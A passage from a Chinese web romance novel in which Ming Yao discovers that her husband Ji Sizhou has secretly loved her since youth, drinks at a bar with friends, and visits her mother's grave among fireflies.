她喜好穿真丝吊带裙睡觉,在这里自然也备了,也穿着。她坐下时,柔软的裙摆跟着皱缩上来半寸,做过保养的皮肤白的晃眼睛,季斯舟什么也没说,起身径直去了浴室,连自己放在桌上还没锁屏的手机都没拿。
明遥自己就在玩手机,压根就没时间去看桌上什么动静,也没在意季斯舟的反常。
她又在看帖子,看大家的打卡。
季斯舟的手机屏幕在即将熄灭的时候又有了消息,屏幕再度亮起。
明遥看别人的分享看的津津有味,而此时郑满栀发来了消息。
【hello宝贝,在季家的周末第一晚,如何?/坏笑】
后面那个表情让明遥顿觉无语,她知道郑满栀问的这个如何不是普通的如何,而是一个隐藏的动词。
明遥索性回过去:【洗过澡就准备去睡了,满意了吗?晚安玛卡巴卡】
反正郑满栀胡诌,她也跟着不正经,都是嘴上不服输罢了。
郑满栀也知道明遥的个性,心里气得很:死丫头和我嘴硬什么,你倒是把季斯舟这件事给办了呀!
作为一个清楚的旁观者,她自然知道这次明遥对季斯舟的不同,只不过是自己不知道罢了。
所幸在骆璟的口中探了不少消息的娘家人郑满栀意识到,季斯舟对明遥似乎不只是现在喜欢上了那么简单。
那她就放心了啊!
郑满栀回:【会有睡后感吗?】
一个词简简单单将明遥引爆:【没有你想的那种事情发生!】
郑满栀看着自己手边的玻璃杯。
里面的酒杯把光怪陆离的光线折射的十分迷离,她灵机一动,打字:【那晚上还有什么意思?不如来玩,你好久没和我一起喝酒了。】
【我今晚在暮色,十一点四十五有演出,你来一起嘛】
郑满栀所言不虚,以前明遥和她喝酒十分投缘,认识之后两人就夜夜笙歌。自打回国之后,竟然还一次都没出去玩过。
所以,在郑满栀提出的时候,明遥的心里一动。
但也仅限于一动了。
那边,郑满栀在两分钟后收到了明遥发来的一张照片。
她拍的,手上钻戒的照片:【你看,已婚了。】
郑满栀恨铁不成钢地说:【拜托姐妹,你只是成家了又不是出家了!玩一下怎么了?好笑,人家演出都是合法合规,不信你带上季斯舟也一起来啊……】
不了。
明遥想了想郑满栀一般看的演出尺度,直接把自己的手机埋进了枕头下面。
也按了静音。
现在她的手机是消停了,可是季斯舟的手机却没有消停。她这才发现,季斯舟的手机却一直在嗡嗡地震动。
她决定拿上手机去找季斯舟,心里不免嘀咕:怎么回事呀?每次重要的事情都非得在季斯舟洗澡的时候就让他处理吗?这次也是。
但明遥忘了,自己的小腿今天早上受了伤,虽然不妨碍走路——但是,在床上、躺的懒洋洋的她没在意地起身,抻到了筋,腿上一软,她往前栽下去。
还好,床够大。
她也不过是整个人趴在了床尾而已,但身体的移动让她的头刚好对上了放在床边小桌上的季斯舟的手机。
而那未曾熄灭的屏幕,上面明晃晃的是——
恋爱狗都不谈的恋爱攻略主界面。
明遥的瞳孔微缩:?
????
这应该不是眼花。
于是里淅淅沥沥的声音还在继续,季斯舟显然还没有洗完。
而他的手机上方正在不停地往下弹窗,是他加入的群聊正在热烈聊天。
群聊的名字是:【恋狗谈恋爱攻略打卡群(我们一定会成功的哦!)】
明遥很熟悉,因为她刚刚还在里面看大家水群聊天。
群聊信息还在不停地显示:有人@你。
【(有人@你):怎么样啊你今天?若即若离了吗?现在已经从暗恋对象那里走…】
【(有人@你):姐妹别慌,我刚刚看见恋狗谈老师也在线,你要不要咨询一下…】
【(有人@你):一定要忍住哦!两年都没追到,马上就可以改名了一定要忍住…】
后面的省略号是因为长度限制,看不见。
但仅仅是这些内容,已经足够在明遥的心里翻卷起惊涛骇浪。
信息指向太强了,她甚至不需要知道省略号之后的内容,仅凭前面,就知道了季斯舟的ID。
怎么可能呢?这是她的第一个想法。这世界是不是疯了?这是她的第二个想法。
明遥呆滞在床上,视线也已经凝固,她甚至不知道自己该怎么做,才能将这件事完全消化掉。
有个喜欢很久的人。
请问什么时候可以出剩下的攻略?我真的很急需。
记得每天都要到对方面前晃一晃!一起吃饭!
投其所好的送礼物……
明遥的脑瓜子嗡嗡的,在瞬间涌上来许多那名用户什么时候追到再改名的片段记忆。
她要确认一下,必须确认一下——
不知不觉,她连浴室里的水已经停了都不知道。
“咔哒”一声,季斯舟出来了。
他看见明遥趴在床上,睡裙比他进去之前翻卷起来的还多。
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他才刚洗过澡……看到这场景,季斯舟又沉默了。
他只能安慰自己还挺正常的,以明遥对自己的吸引力,他今晚还得再洗一个澡吗?
明遥支着自己的身体坐了起来,此时季斯舟的手机终于熄灭,不再弹消息了。
她一眼都没往哪里看,而是看季斯舟:“你怎么洗了那么久?”
季斯舟道:“久吗?二十分钟,洗完澡洗完头,刮了胡子。”
他才刚往床上走了两步,明遥直接伸出腿压在被子上:“不许你在床上睡!”
声音和之前相比着急了许多。
季斯舟听出明遥说话间的焦躁:“怎么了。”
同时,他尊重了明遥的话,停了下来,不再靠近。
总之,就是不行。
在她还有许多要确认的事情没有完全弄清楚之前,总之不行。
明遥翻身起来。
季斯舟:“?”
“我有事,要出去一趟。”明遥深呼吸了一下,坐了起来。她光着脚踩在了柔软的地毯上,慢慢走到季斯舟的面前。
她盯着季斯舟看,望进了以前让自己觉得凌厉稳重的那双黑眸当中,
里面只有自己的倒影。
是什么时候开始,自己就变得完全不怕他了呢?
明遥闻到了季斯舟身上的沐浴露香味,距离拉近了。季斯舟拧眉,只觉得明遥说话的语气奇怪,似乎是遇见了什么重大事情。
“已经十点多了,很晚,你要去哪里?”季斯舟道,“我陪你去。”
“我要自己去,小满说约我去玩。”明遥顿了一下说,“去暮色。她说不是家属局。”
听到明遥去酒吧,季斯舟的眼神沉了沉,但又听到家属两个字,对此时的他来说又十分受用。
明遥说:“到时候结束了,我叫你来接我?”
季斯舟松了口:“那不要玩的太晚,我送你过去好吗?爸妈都睡了,我们要悄悄的下去。”
明遥觉得很好笑,被他的语气可爱到了。但她没笑,还像是刚才那样定定地看着季斯舟。
她已经到季斯舟的面前了,迟疑了半秒,伸手抚上了季斯舟的肩膀,指尖轻轻地捏着他的家居服。
季斯舟的呼吸停滞了一瞬,明遥感知到了。
她想,原来这就是季斯舟的紧张吗?为什么以前她从未发觉……以前怎么这么迟钝?
“季斯舟。”明遥低低的呢喃,“我觉得我好像今天才刚刚开始认识你。”
季斯舟还以为她在说没想到自己居然同意了她自己去酒吧和小闺蜜玩,脸色柔和起来,“婚姻也不是束缚,和朋友玩是应该的。”
明遥说的不是这个。
她伸手放在季斯的胳膊上,却被季斯舟牵住:“腿不好走,先把鞋子穿上,我抱你下去吧?”
明遥没反驳,季斯舟便蹲下身去给明遥穿好了鞋子,又等待明遥换了一套衣服,才轻轻松松地抱她下去。
暮色没多远,半小时便到,路上明遥给郑满栀发了消息自己要去,所以他们到暮色门口时,郑满栀已经在门口等她了。
见到季斯舟扶着踩着小猫跟尖头鞋的明遥下来,郑满栀目瞪口呆:“真是活久见,老公亲自送老婆来看……”
她往旁边的裸男海报站了站,企图挡住。
而季斯舟的目光往这边一扫,郑满栀抖了抖,满脸堆笑,接过明遥的手。
“我们纯玩,纯玩的。”
季斯舟微笑:“祝你们玩的开心,结束了再来接你们。”
明遥朝季斯舟挥了挥手,就拉着郑满栀急急往里走,低声说:“小满,出大事了。”
郑满栀回想着刚才季斯舟那个笑容,也哆嗦着说:“我也觉得出大事了……”
39. 第 39 章
“这男人好危险,明明已经看到海报了居然还能什么都不说……”进去后,已经坐在卡座上的郑满栀还在心有余悸,“他没有一点怪你的意思,但我觉得我应该是惨了。”
季斯舟这么忍得住。
出家的人不是明遥,是他自己吧?!
“倒酒。”明遥一口气给自己喝了,没感觉似的,对郑满栀说,“我说的完了根本就不是这个。”
“那是什么?我去,你今天喝这么快干什么?”郑满栀才发现明遥那杯见底,“本来叫你来我就是叫你来喝酒的,结果我看到季斯舟亲自送你来,现在反而不敢让你喝了……”
“今天我必须喝。”明遥又喝了一杯,艰难地开口,“小满,我刚刚发现……季斯舟他好像……”
郑满栀凑过耳朵:“嗯嗯嗯?有八卦吗?”
明遥:“他好像喜欢我,怎么办?”
“你老公喜欢你有什么不对吗?”郑满栀的反应不是很大,“我早看出来了啊,喜欢你的人多了去了!他肯定是一见钟情。”
“好像不是一见钟情。我有些事情想确认一下,把骆璟叫来。”明遥一脸严肃,两杯高度的调酒让她面不改色,郑满栀见她这表情也凝神,直接打电话叫来了骆璟。
明遥:“一会儿人来了我先去问。”
郑满栀比了个OK。
结果郑满栀一打电话,骆璟从楼上下来了,说他原本就在这和朋友玩。郑满栀看他眼神一脸鄙视,“你就只知道在酒吧玩,住酒吧里算了。”
骆璟无语地看她:“你好意思说我?你一个小姑娘今天过来了就是想看演员们跳舞的是吧!你不学好我告诉你父母——”
郑满栀反唇相讥:“多大的人了还告诉家长?你管得着我吗,你和我什么关系?!滚蛋!”
明遥:“听我讲讲。”
她猛地放下酒杯,里面的冰块发出“咚”地一声,骆璟和郑满栀不说话了。
骆璟看向郑满栀——今天你小姐妹好像火气比较重的样子。
明遥说:“事情是这样的,我和季斯舟吵架了。”
郑满栀:?这和我刚才看见的好像不一样。
骆璟稀奇道:“他居然会和你吵架?终于像个活人了啊!好事好事。”他见到明遥表情不解,喝酒又喝的快,就猜是因为今天明遥要独自来酒吧玩季斯舟生了气,和小姑娘闹矛盾,赶紧开导道:
“斯舟这人有时候说话直来直去,但其实他不是这个意思。他要是惹你生气,多半是因为他对着你的时候不会讲话。”
明遥:“不会讲话吗?”
“嗯,是。你别看他现在这样,其实小的时候他很长一段时间都不说话的。家里还以为他是哑巴呢,后来等他再长大一点去问,他才告诉医生是因为他觉得周围人都没意思,不想讲。”
明遥拿酒杯和骆璟碰杯,示意他继续讲。
郑满栀:“季斯舟从小就高冷啊。”
“唉,话也不能这么说。他那时候也不是高冷,是说话直白。不好听点说,是刻薄。”骆璟喝了酒,陷入回忆。
“季斯舟还有这一面,你快说给我们听听。”这就是问好兄弟的好处了,骆璟喝了酒,没准能把季斯舟小时候尿裤子的事情都抖出来。她觉得好笑,感觉自己要摸到季斯舟不为人知的另一面了。
那点对季斯舟探究的兴趣挡也挡不住。
骆璟:“季斯舟这小子长的帅,从小就招人喜欢,知道吧?可是以前他说话很毒,初中的时候有人和他表白,他直接对人说我不喜欢你,而且你也配不上我。”
明遥:“他真这么觉得的?”
真不像是季斯舟能说出来的话,现在的季斯舟很尊重人。她见过季斯舟工作时候的模样,对下属也不会不尊重。
“是,但这么说是因为他根本就不明白这样是不尊重人的话。你能明白吗?他好像天生在这方面的感知上很淡薄。他是上流圈子里顶尖的家世,确实不用在乎这些。”
“而且他一直都是第一名,又向来喜欢第一名,我感觉他这人那会儿吧,明明年轻轻轻的,但就像早就看破红尘了一样,他对什么都不在乎,也不会去学习情感课题。”
明遥:“那他是怎么变成现在这样了?高中的时候,季斯舟就是学校里的风云人物了。”
那时候季斯舟可受欢迎了,完全不是骆璟说的那样。
骆璟迟疑地看了看明遥:“你是丁点印象都没有了。”
“我……”明遥疑惑道,“我又该有什么印象呢?”
她觉得自己的记忆好像有好几个缺口,有些记忆,季斯舟和他周围的人都有,还和自己相关,偏偏自己却什么都没有。
骆璟心道,也是,那是因为你对季斯舟一点感情都没有,所以那段记忆对你来说才不租尾气。
想到这里,他不禁为自己的兄弟叹口气。
造孽啊,暗恋人家这么久,可是人姑娘到现在还是一无所知呢!
反正季斯舟什么事情都做的尽善尽美,就是在明遥的事情上踌躇不定,没决断好一件。
不然也不会拖到现在啊。
骆璟说:“他初二那年暑假开始,你就经常来季家玩的啊,你那个时候小可爱一个,天天追在他后头喊哥哥的。”
明遥差点石化。
有吗?她真的不记得了!
难怪她后来再到季老爷子的面前,老爷子也笑着说她以前是季斯舟的小尾巴,怎么不喊季斯舟哥哥了。
郑满栀:“哎呀,我不知道还有这些?以前遥遥没和我说过啊,她真不记得了。”
真的。
明遥莫名心虚:“有更重要的记忆覆盖住了,我只记得我暑假偶尔会去季家玩。”
那年暑假,她才是个多大点的孩子?不记得也很正常。
但有些事情明遥是不会忘记的,就是从那一年开始,她父母有了矛盾,在家里经常争吵。她本能地不喜欢那种氛围,喜欢往外跑。
季家的氛围那么好,她可能是因为看中了这个吧。
骆璟笑着比划了下,“那年你还很小啊,还有婴儿肥,我都还记得的呢。你到的第一天说要吃甜的,抢了季斯舟的布丁。后来晚上还说不回去了,一定要和他挤一个被窝。”
明遥:“……好了跳过这段。”
骆璟失笑:“季斯舟那时候不说,应该也是很喜欢你这个跟屁虫的吧。他那时候最大的问题就是和同龄人聊不来,不接触。但有你就不一样了,你对什么都好奇。”
现在想想,那时候小小的明遥活泼的像是五彩缤纷的颜料,重新把季斯舟那灰白的世界重新变成了斑斓的彩色。
从那之后,季斯舟就慢慢的好起来了。
也不知道有没有小明遥的功劳,但季家人都十分喜爱这个小姑娘的。
只是小姑娘的世界确实十分精彩,在季家度过了两个无忧无虑的暑假后,明遥随着生活圈的扩大,渐渐地不再过来。
再到后头基本没有联系,明遥也离开了国内。
明遥陷入思索。
那年母亲去世,父亲很快再娶。众人眼中的千金大小姐并无区别,但明遥知道,自己的世界已经天翻地覆了。
她下意识地抵触那些幼年的回忆,压在了脑海深处,再不忆起。
那时候的她认为自己就应该和母亲一起去世才好,是不是一点也不重要?不然父亲怎么不管她又哭又闹还是娶了新
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妻子呢?
现在,却有人告诉她。那时候狼狈的自己,居然还改变了另一个人…
恍惚间,一杯杯酒下肚。郑满栀陪着她喝的头已经晕了,再一转头发现明遥还在倒酒,大惊失色地制止:“你不能再喝了吧!我的头好晕。”
骆璟面色如常,用手比作耶在郑满栀的面前晃了晃,被郑满栀一手抽在胳膊上:“滚啊。”
骆璟:“你还没醉,还可以继续。”
骆璟问明遥:“你今天叫我来是问什么的,还有想问的吗?”
明遥:“他高中的时候是有喜欢的人吗?”
“咳咳咳。”骆璟一口酒呛进了鼻子,他狼狈地拿纸巾捂住口鼻,又去看明遥的表情,但是没看出来任何的端倪。
“什么意思?”
他倒是——他倒是想把季斯舟的秘密说出来啊,但是本人没来回应,他哪敢?除非是想要把自己的脑袋拧下来给季斯舟当球踢。
明遥:“我就是想问问,我听他姐姐说季斯舟高中的时候有一段时间特别喜欢做黑糖珍珠奶茶,但他自己又不喝甜的。我觉得应该是送给自己喜欢的女孩子,是吗?”
郑满栀道:“听骆璟刚才那么说,那他高中时候喜欢的那个人就是初恋咯?初恋对男人杀伤力虽然很大,但也还好吧?这么说,哎?”
她回过神来:“你今晚上不会就是因为这个和季斯舟吵架的吧?!”
明遥含糊道:“算是吧,璟哥……怎么不回答我,喝醉了吗要想这么久。”
骆璟吞了下口水道:“其实都是已经过去式了,过好现在才是最重要的。”
明遥哦了声问:“就是说,那个女孩子他现在不喜欢了。”
骆璟苦着一张脸,这可让他怎么说啊!他要是说是的,那是说假话啊。要是说不是,那不就彻底暴露了么。
他仔细再看明遥的表情,不知道是不是自己喝了酒的原因,好像问起这些的时候明遥的脸上也没有生气的表情,反而有隐隐的笑容。
“好巧,我也很喜欢喝珍珠奶茶。今天他做了一杯给我,说是当年那杯没送出去的奶茶终于让人喝到了。”明遥转了转酒杯,勾唇看着骆璟又说,“但是今天听你一讲,他是不是把我当替身了。”
“卧槽!”郑满栀酒杯都差点捏碎了,直接站了起来,“这还能忍吗?”
“不是这样的!不是啊!!”骆璟拉了一把拱火的郑满栀,顿时觉得这场景让自己脑壳嗡嗡响,他好像已经看到自己被季斯舟摁在地上摩擦的场景了。
一狠心,骆璟大声道:“有没有可能他喜欢的那个就是你。”
顿时,明遥心中的疑惑在瞬间尘埃落地。
她又不是个傻子,结合到季斯舟的家人和朋友的话,明遥的心里有了底。
不是喝多了,是真的。
明遥笑着看他:“璟哥,话别乱说。要不然一会儿等季斯舟他来了,我们亲自问问?”
“别!别……”再多的骆璟真的不能再说了,他决定岔开这个话题,旁边的郑满栀摇摇晃晃,他只能暂时扶住人的肩膀。
郑满栀没挣脱,骆璟心里又说一句不好,郑满栀也喝多了。
“栀栀?”
“得问,得问清楚啊,不然做了人家的替身怎么可以,”郑满栀脸色微红,眼睛微眯着,松松垮垮地靠在了骆璟的手臂上看着明遥,“要按骆璟这么说,季斯舟那时候就喜欢你了,以他的性格和地位,至于等到这个时候才和你结婚吗?”
明遥皱起眉。
时间跨越极大,高中到现在……就算先算是高三的时候到现在,也快十年了。
是啊。
季斯舟,他为什么等了这么久?
40. 第 40 章
明遥又想到了那个用户给自己发消息的节点,是两年前。
如果说是两年前开始喜欢的,那也对不上啊。
“还是再喝点吧。”
这问题怎么也思考不出来,明遥继续让酒保给自己倒酒,郑满栀笑嘻嘻地和她碰杯:“快看台上!”
中央的高位舞台上,已经冲上来一队男人。各个都有一米八以上,身材壮硕,脸上画了演出妆,都很精致。
穿的都挺少,小背心就遮住了些该遮住的地方。
音乐也随之变化,DJ的鼓点震耳欲聋。
台下一阵欢呼,男女都很激动。而那些演出的男演员各个都很卖力,一边举着话筒唱歌,一边深情款款地和台下的观众们对视,互动。
有工作人员拿来棒棒糖给男演员,男演员转而将棒棒糖棍叼在了自己的嘴里,然后和观众十指相扣,把另一头棒棒糖圆润的那一端送进了女观众的口中。
明遥:……
“我有点想吐。”她麻木地把目光从台上收回来,“这就是你说的演出啊?”
“啊啊啊啊啊啊!我也要去!”郑满栀上头地大喊,继而被骆璟黑着脸捉住,“别闹了!”
郑满栀:“叫经理来,我要这几个长得顺眼的单独和我到包厢里互动。”
“我看在你喝醉了的份上不和你计较,但你不许拉着遥妹一起胡闹!”骆璟面色铁青地把乱动的郑满栀箍在了怀里,这局势他控制不住,拿出手机给季斯舟发语音,“赶紧过来接你老婆!她醉了。”
顺便他想着,自己是不是该先临时找个包厢把这俩喝醉的姑娘休息一下。
郑满栀为了方便看演出,今天和明遥坐的就是外面的卡座。等下季斯舟以来,看到这演出,他会醋死……可能还会怪到自己头上。骆璟感到背后一阵寒意,对明遥说:“遥妹,我们进去喝吧,这外面太乱了不好。”
明遥像没听见似的,眼神凝结在台上。
里面个子最高的那个好像长得有点像季斯舟高中时候的样子。
嗯,身高也差不多。明遥借着酒劲反倒想起来了,季斯舟高中的时候就那个身高吧。一米八三还是八五的样子……个子高就是好,在人群里一眼就能看见。她记得自己代表高一去做升旗手的时候,一眼就看见了季斯舟。
他很高,没穿校服,队列里的女生时不时偷偷地回头看他。
她甚至能听见和自己同样站在后面的两个女队员在议论,
“季学长好帅……他防晒的吗,皮肤好白。”
“好想戳一下看看季学长的脸是不是软软的,看他打篮球的时候看过他的腹肌,真的好帅啊呜呜。”
明遥盯着那个男人看,可惜地想:还是不太像的,因为季斯舟从来不在自己的面前穿的这么骚包。
这个夜晚,有许多掩盖在记忆里的片段,趁着主人的防御心被酒精的暂时麻痹,渐渐浮出水面。
骆璟猝不及防地又猛灌了好大杯高度调酒,他本来就是和上一波酒肉朋友喝了来的,现在各类酒精混合,他也是遭不住了。
明遥手中的酒杯被拿走了,面前的光线被掠夺,她整个人都被笼罩在阴影里。
同时,台上的六七个男人演出也到了高潮,“垮擦”一声把贴身老头背心扯成了两半,裸着上半身,骄傲地展示着自己的胸肌。
“啊!!!再继续脱啊!”
……
骆璟看见站在明遥身边的季斯舟,一颗心顿时蹦到了嗓子眼!酒都醒了两份,他怀里的郑满栀吃痛出声:“喂!抓我干什么!”
再转眼,也看见了冷冷地看着他们的季斯舟,以及季斯舟身后台子上群魔乱舞的一群裸男。
呃。
郑满栀:“是误会,骆璟叫我们来看的。”
季斯舟不再看他们,再低头去和明遥说话的时候,声音和表情重新变的温柔起来:“明遥,我来接你回家了。”
始终沉浸在自己回忆里寻找那些被遗忘的细枝末节的明遥此时才意识到自己的身边还站了个人。
她抬头,仿佛看见了自己高中时候偷偷看过的那个俊朗学长来到了自己的面前。
明遥愣愣地抬手,贴在了季斯舟的脸颊上,然后两指戳了戳。
很软。
“原来她们讨论的是真的。”明遥茫然地睁眼看他,下一秒,季斯舟伸手揽住她的腰,把人从椅子上带了下来。明遥没有反抗,而是顺势扶着他站了起来。
“季斯舟?”
季斯舟听到明遥现在才喊出了自己的名字,很低的应了声,转而向后给骆璟一个我现在先不收拾你的眼神。
“还能自己走?”
明遥点头:“可以。”
但她穿的高跟鞋说不可以,才往外走了半步就看着要倒,季斯舟连忙将她扶住了,低沉着声音,“靠着我。”
骆璟撑着一丝清明,跟在季斯舟和明遥的后面。
明遥只是看起来没醉,实际上在发现季斯舟出现的那一刻,就已经松懈下来,昏沉感也随之而来。
坐进副驾驶,她模糊地意识到——这停车的位置,似乎和自己上车的时候是一模一样的。
一到车里坐着,郑满栀就迷迷糊糊地坐进沾了座就闭上了眼睛,骆璟也不知道她是真睡还是假睡,但他不敢睡。
季斯舟对着自己的时候低气压严重,除了对他老婆温柔有加……这狗东西还是一如既往的重色轻友,他就知道。
可明遥怎么一进车里也不和季斯舟说句话呢?好尴尬,这小情侣吵架的氛围,自己就该在车底。
哎……
“我要去趟墓园。”
骆璟被明遥的声音惊得又清醒了几分。
大晚上的!快十二点了啊现在去墓园吗!!!
关键是季斯舟还说:“好。”
骆璟没有反驳的余地,本车唯一没喝酒的司机咖位最大。要不是因为来接明遥,谁敢使唤季斯舟当司机的啊。
季斯舟:“晚上好玩吗?”
“好玩,酒很好喝,很甜。”明遥笑了一声,又呼出一口气在手心,“没有酒味。”
其实是有的,但明遥的身上香香的,盖住了她的酒杯。
可能调的酒也是果香调而已。
季斯舟又问:“人好看吗?”
骆璟在后面急道:“你听我说,真不是我拉她们去看的啊!”
郑满栀没睁眼睛,嘴里却说话:“你不喜欢她吗?你的白月光……唔。”她的嘴被季斯舟给捂住了。
祖宗啊祖宗,别添乱了!
“什么人。”明遥盯着前方的红绿灯和不时疾驰而过的车,皱眉回忆,“我只看到了一个最好看的。”
季斯舟询问:“哪一个?”
他进去的时候,看见那群男人正好在撕衣服。他倒是不知道,原来明遥喜欢的是这种风格类型。
明遥笑的很娇:“就是这一个。”
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她伸出刚刚戳过季斯舟的手指,即将越过中控,再度去戳季斯舟的脸,中间想起了季斯舟在开车,在半空中的手,轻轻地落在了季斯舟的大腿上,拍了拍。
开车的男人呼吸一顿,紧握着方向盘,目视前方。
他说:“明遥,你喝醉了。”
“嗯,当然是喝醉了,喝醉了我才想起来好多事情,原来之前是我没看清。”明遥的手还放在那里,前方的灯光一晃,白皙的手指印在男人墨黑的西裤之上,显出几分勾人。
“到了吗?”
“快了,你先……把手放开。”季斯舟的心跳开始加速,他告诉自己只是因为明遥喝醉了,仅此而已,“别着急。”
骆璟在后面一声不吭地听着:你们到底是谁撩谁啊!
明遥没放开,季斯舟加了速,很快就到了墓园大门口。
她要下车的时候,季斯舟才从后备箱里拿出一双平底鞋为她换上,明遥也没问这平底鞋他什么时候放在车上的。
她往里走去。
又停住,回头对着季斯舟勾勾手:“过来。”
郑满栀不知什么时候醒了,挂在了骆璟的身上,愣愣地看这前方的这一幕:“她好会训狗。”
骆璟压着嗓音:“你乱说什么?”
话刚落下,他抬头就看到季斯舟顺从地走了过去,扶稳了月色下的女人。
恍惚了。绝对了喝醉了酒恍惚了。
明遥的心绪翻涌,静静地来到母亲的墓碑前。季斯舟似乎早已知道她有话要自己倾诉,挡住了骆璟和郑满栀,带着他们站在远处。
骆璟心情复杂:“兄弟,你不去见一下丈母娘吗?”
郑满栀:“到哪儿了……我做梦着吗,我死了?谁说的黄泉路上还有这么多鬼火……”
季斯舟道:“这是萤火虫。”
此时正是萤火虫出没的时候,星星点点着凉了清冷的墓园,驱散掉心中的烦闷与害怕。
明遥蹲下来说了一阵,才低声道:“原来他真的喜欢我。我带来给您见面,就当您是同意了好不好?就算只有三个月,那也试一试吧?”
自然是没人回答她的,但她的心中已经有了答案。
她朝那边的众人走去,伸手捕住一只萤火虫在手心,到了季斯舟的面前给他看,“这里的萤火虫真多,每次来都有。我记得小的时候来就有,不知道现在是不是还是以前的那些萤火虫。”
季斯舟道:“我听人说,死者对生者的思念会变成萤火虫,这样他们来祭奠的时候就不会孤单。”
明遥摊开手,那只萤火虫竟然静静地躺在她的手心,也不飞走,“那你说,这是我妈妈在想我吗?”
她的表情很叫人心软,季斯舟伸出手摸了摸明遥的头发:“她一定是挂念你的。”
骆璟说:“这萤火虫……哦!我想起来了,这不会就是你高二的时候偷偷放的那批吧?!”
明遥一惊,手上的萤火虫飞走了。
“你说什么?”
“他没说什么,是喝多了胡言乱语。”季斯舟面不改色,扶着明遥的肩膀让她和自己走到一起,“走吧,该回家了。”
“你让我说!别藏了!”骆璟心情激动,酒劲已然到达了巅峰,指着漫天的萤火虫:“我记得啊!就是高二他拿了奖学金的那一天!我还想着让他请我吃好的,结果他不在家,我不放心就找管家问了他去哪,还以为他去墓园想不开,结果就看到他在这灰头土脸地挖水渠!”